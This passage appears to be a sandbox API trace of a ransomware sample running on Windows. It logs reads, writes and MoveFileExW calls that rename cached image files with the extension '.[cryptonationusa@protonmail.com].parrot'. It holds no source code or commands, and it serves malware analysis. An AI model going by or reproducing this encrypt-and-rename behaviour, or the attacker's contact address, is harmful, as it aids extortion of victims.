lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.514] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.514] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6e0, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x6e0, lpOverlapped=0x0) returned 1 [0078.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.514] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.514] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE9wSt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe9wst[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE9wSt[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe9wst[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.518] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.518] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.519] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.519] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8b9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x8b9, lpOverlapped=0x0) returned 1 [0078.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.520] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.520] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEcHle[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbechle[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEcHle[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbechle[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.523] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.523] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.524] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.524] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2086, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2086, lpOverlapped=0x0) returned 1 [0078.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.525] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.526] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdE0f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbede0f[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdE0f[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbede0f[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.553] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.553] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.555] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.555] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x97b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x97b, lpOverlapped=0x0) returned 1 [0078.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.555] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.555] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdoQv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedoqv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdoQv[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedoqv[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.559] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.559] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.561] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.561] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x69a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x69a, lpOverlapped=0x0) returned 1 [0078.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.561] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.562] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdqEy[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedqey[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdqEy[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedqey[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.565] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.565] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.567] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.567] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6d0, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x6d0, lpOverlapped=0x0) returned 1 [0078.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.567] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.567] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdtWw[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedtww[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdtWw[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedtww[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.570] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.570] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.572] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.572] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x687, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x687, lpOverlapped=0x0) returned 1 [0078.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.573] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.573] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdXJj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedxjj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdXJj[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedxjj[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.576] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.576] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.586] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.586] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x24c8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x24c8, lpOverlapped=0x0) returned 1 [0078.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.587] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.587] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeP0k[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeep0k[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeP0k[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeep0k[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.591] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.591] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.595] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.596] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3417, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3417, lpOverlapped=0x0) returned 1 [0078.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.597] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.597] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeTuf[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeetuf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeTuf[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeetuf[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.622] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.623] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.625] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.625] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc0b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xc0b, lpOverlapped=0x0) returned 1 [0078.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0078.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0078.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0078.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0078.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178058 [0078.625] GetLastError () returned 0x0 [0078.625] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176820 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6af530 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176820 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6af718 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af530 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6af9e8 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af718 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x3178058 [0078.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af9e8 | out: hHeap=0x5b0000) returned 1 [0078.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x6af530 [0078.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178058 | out: hHeap=0x5b0000) returned 1 [0078.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x3178058 [0078.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af530 | out: hHeap=0x5b0000) returned 1 [0078.627] WriteFile (in: hFile=0x278, lpBuffer=0x3178058*, nNumberOfBytesToWrite=0xd28, lpNumberOfBytesWritten=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x3178058*, lpNumberOfBytesWritten=0x18e314*=0xd28, lpOverlapped=0x0) returned 1 [0078.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178058 | out: hHeap=0x5b0000) returned 1 [0078.627] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd23, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.627] CloseHandle (hObject=0x278) returned 1 [0078.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x68a2e0 [0078.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x17e) returned 0x6a8c40 [0078.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a2e0 | out: hHeap=0x5b0000) returned 1 [0078.629] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfE6e[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefe6e[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfE6e[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js 